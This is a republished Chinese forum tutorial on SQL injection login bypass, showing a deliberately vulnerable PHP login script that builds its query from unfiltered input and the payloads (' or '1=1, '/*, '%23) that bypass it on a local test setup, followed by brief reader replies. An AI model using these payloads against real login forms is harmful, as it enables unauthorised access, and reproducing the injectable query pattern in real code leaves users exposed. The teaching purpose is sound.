• 欢迎访问搞代码网站,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站!
  • 如果您觉得本站非常有看点,那么赶紧使用Ctrl+D 收藏搞代码吧

一个PHP登陆注入小示例解决方案

php 搞代码 4年前 (2022-01-23) 13次浏览 已收录 0个评论

一个PHP登陆注入小示例
在学学习PHP的过程中肯定会听说过SQL注入,简单的讲就是利用后台的SQL代码漏洞来进行一些非法的操作。比如:利用后台代码的漏洞来登陆,用户不用知道真实的用户名和密码也能通过表单提交数据来登陆)本文来(源gaodai#ma#com搞@@代~&码*网2

搞代gaodaima码

后台成功。我们拿一个用户验证的例子,首先建立一个数据库和一个数据表并插入一条记录,如下:
CREATE TABLE `user` (
`userid` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL default ”,
`password` varchar(20) NOT NULL default ”,
PRIMARY KEY (`userid`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;
#
# 导出表中的数据 `user`
#
INSERT INTO `user` VALUES (1, ‘angel’, ‘mypass’);
验证用户文件的代码如下:
PHP代码:
<?php
$servername = “localhost”;
$dbusername = “root”;
$dbpassword = “”;
$dbname = “injection”;
mysql_connect($servername,$dbusername,$dbpassword) or die (“数据库连接失败”);
$sql = “SELECT * FROM user WHERE username=’$username’ AND password=’$password'”;
$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);
if (empty($userinfo)){
echo “登陆失败”;
} else {
echo “登陆成功”;
}
echo “

SQL Query:$sql

“;
?>

这时我们提交:
http://127.0.0.1/injection/user.php?username=angel’or 1=1
就会返回:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:wwwinjectionuser.php on line 13
登陆失败
SQL Query:SELECT * FROM user WHERE username=’angel’ or 1=1′ AND password=’
PHP Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:wwwinjectionuser.php on line 13
看到了吗?单引号闭合后,并没有注释掉后面的单引号,导致单引号没有正确配对,所以由此可知我们构造的语句不能让Mysql正确执行,要重新构造:
http://127.0.0.1/injection/user.php?username=angel’or ‘1=1
这时显示“登陆成功”,说明成功了。或者提交:
http://127.0.0.1/injection/user.php?username=angel’/*
http://127.0.0.1/injection/user.php?username=angel’%23
这样就把后面的语句给注释掉了!说说这两种提交的不同之处,我们提交的第一句是利用逻辑运算,在ASP中运用可以说是非常广泛的,这个不用说了吧?第二、三句是根据mysql的特性,mysql支持/*和#两种注释格式,所以我们提交的时候是把后面的代码注释掉,值得注意的是由于编码问题,在IE地址栏里提交#会变成空的,所以我们在地址栏提交的时候,应该提交%23,才会变成#,就成功注释了,这个比逻辑运算简单得多了,由此可以看出PHP比ASP强大灵活多了。

详细原文地址:http://www.phpnewer.com/index.php/Dmaq/detail/id/202

——解决方案——————–
呵呵呵呵呵呵呵
——解决方案——————–
多谢分享
——解决方案——————–
文章太老,过时了!
——解决方案——————–
昨天才发布的文章就过时了???

探讨

文章太老,过时了!

——解决方案——————–
确实是个老方法了,再在可以很轻易的屏蔽掉你这些注释符;与错误时输出的信息
不过对检查不严格的网站可以一试
——解决方案——————–
单引号 过滤掉 你还能怎么着
——解决方案——————–
这种之前看过。
这只是单一的GET提交法。还有POST提交法

——解决方案——————–
这个广告男,不停的广告.
——解决方案——————–
貌似现在许多都屏蔽呢,呵呵
——解决方案——————–
还好,志在参与嘛


搞代码网(gaodaima.com)提供的所有资源部分来自互联网,如果有侵犯您的版权或其他权益,请说明详细缘由并提供版权或权益证明然后发送到邮箱[email protected],我们会在看到邮件的第一时间内为您处理,或直接联系QQ:872152909。本网站采用BY-NC-SA协议进行授权
转载请注明原文链接:一个PHP登陆注入小示例解决方案

喜欢 (0)
[搞代码]
分享 (0)
发表我的评论
取消评论

表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址